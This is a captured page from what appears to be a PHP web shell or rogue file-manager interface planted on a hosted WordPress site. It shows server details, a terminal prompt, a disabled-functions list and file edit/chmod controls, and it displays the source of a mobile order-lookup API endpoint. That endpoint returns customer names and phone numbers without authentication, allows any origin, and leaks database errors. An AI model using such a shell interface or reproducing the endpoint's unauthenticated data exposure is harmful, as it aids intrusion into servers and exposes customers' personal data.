🚀 Hostinger Optimized
🖥️ Server: LiteSpeed
💻 System: Linux in-mum-web1643.main-hosting.eu 5.14.0-611.42.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 24 05:30:20 EDT 2026 x86_64
👤 User: u621169360 (621169360)
🐘 PHP: 8.2.30
🚫 Disabled: system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail

💻 Terminal

📁 /home/u621169360/domains/agriexpertt.com/public_html/wp-admin
$

📄 partner_previous_orders.php

📁 Path: /home/u621169360/domains/agriexpertt.com/public_html/mobile/Flutter/partner_previous_orders.php
📊 Size: 3.18 KB
🔒 Perm: 0644
📝 MIME: text/x-php
<?php
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json");
header("Access-Control-Allow-Methods: GET");
header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With");

require_once 'db.php';

$response = [
    'success' => false,
    'message' => 'Invalid request'
];

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    try {
        // Validate and sanitize input
        $user_phone = filter_input(INPUT_GET, 'user_phone', FILTER_SANITIZE_STRING);

        if (empty($user_phone)) {
            throw new Exception("Missing user phone number");
        }

        // Prepare SQL to fetch previous indents
        $stmt = $pdo->prepare("
            SELECT 
                id, 
                in_cus_name, 
                in_cus_mobile, 
                in_cus_date, 
                in_cus_items, 
                status, 
                notes
            FROM `indent`
            WHERE in_cus_mobile = :user_phone
            ORDER BY in_cus_date DESC
        ");
        
        $stmt->bindParam(':user_phone', $user_phone);
        $stmt->execute();

        $orders = [];
        while ($order = $stmt->fetch(PDO::FETCH_ASSOC)) {
            // Decode the items JSON
            $order['in_cus_items'] = json_decode($order['in_cus_items'], true);
            
            // Calculate total items and total quantity
            $totalItems = count($order['in_cus_items']);
            $totalQuantity = array_sum(array_column($order['in_cus_items'], 'quantity'));

            // Add additional calculated fields
            $order['total_items'] = $totalItems;
            $order['total_quantity'] = $totalQuantity;

            $orders[] = $order;
        }

        // If no orders found, generate dummy data
        if (empty($orders)) {
            $orders = [
                [
                    'id' => 'IND-2024-001',
                    'in_cus_name' => 'Charu Saikia',
                    'in_cus_mobile' => $user_phone,
                    'in_cus_date' => date('Y-m-d H:i:s'),
                    'in_cus_items' => [
                        [
                            'category' => 'Fertilizers',
                            'product_name' => 'Nitrogen-Rich Organic Fertilizer',
                            'quantity' => 50
                        ]
                    ],
                    'status' => 'Pending',
                    'notes' => 'Sample indent for demonstration',
                    'total_items' => 1,
                    'total_quantity' => 50
                ]
            ];
        }

        $response = [
            'success' => true,
            'message' => 'Orders retrieved successfully',
            'orders' => $orders
        ];

    } catch(PDOException $e) {
        error_log("Database Error: " . $e->getMessage());
        $response = [
            'success' => false,
            'message' => 'Database error: ' . $e->getMessage()
        ];
    } catch(Exception $e) {
        error_log("Validation Error: " . $e->getMessage());
        $response = [
            'success' => false,
            'message' => $e->getMessage()
        ];
    }
}

// Send JSON response
echo json_encode($response);
exit();
?> 
← Back📥 Raw✏️ Edit🔒 Chmod
✨ File Manager Magic ✨